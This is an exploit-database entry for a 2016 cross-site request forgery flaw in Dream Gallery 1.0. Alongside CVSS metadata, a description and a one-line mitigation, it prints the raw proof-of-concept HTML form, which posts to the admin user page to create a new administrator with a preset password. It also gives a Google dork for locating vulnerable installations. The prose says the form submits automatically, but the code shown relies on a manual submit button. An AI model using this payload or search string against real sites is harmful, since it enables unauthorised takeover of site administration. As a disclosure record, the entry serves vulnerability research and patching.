Dream Gallery - CSRF Add Admin Exploit

vendor:

Dream Gallery

by:

Ali Ghanbari

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Dream Gallery

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:phpstaff:dream_gallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

Dream Gallery – CSRF Add Admin Exploit

This exploit allows an attacker to add an admin user to the Dream Gallery application. The attacker can craft a malicious HTML page with a form that submits a POST request to the usuario.php page with the action parameter set to 'incluir'. The form includes the parameters user_login, user_password, and user_email, which are used to create the admin user. When a victim visits the malicious page, the form is automatically submitted and the admin user is created.

Mitigation:

Implement CSRF protection mechanisms such as CSRF tokens, SameSite cookies, and referrer checks.

Source

Exploit-DB raw data:

<!--
# Exploit Title: Dream Gallery - CSRF Add Admin Exploit
# Google Dork: "Design by Rafael Clares"
# Date: 2016/06/03
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://phpstaff.com.br/
# Version: 1.0

#Exploit:
-->

<html>
 <body>
   <form method="post"  action="http://localhost/{PACH}/admin/usuario.php?action=incluir">
      <input type="hidden" name="user_login" value="ali">
      <input type="hidden" name="user_password" type="hidden" value="123456" >
      <input type="hidden" name="user_email" value="">
      <input type="submit" value="create">
  </form>
 </body>
</html>

<!--
#########################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
-->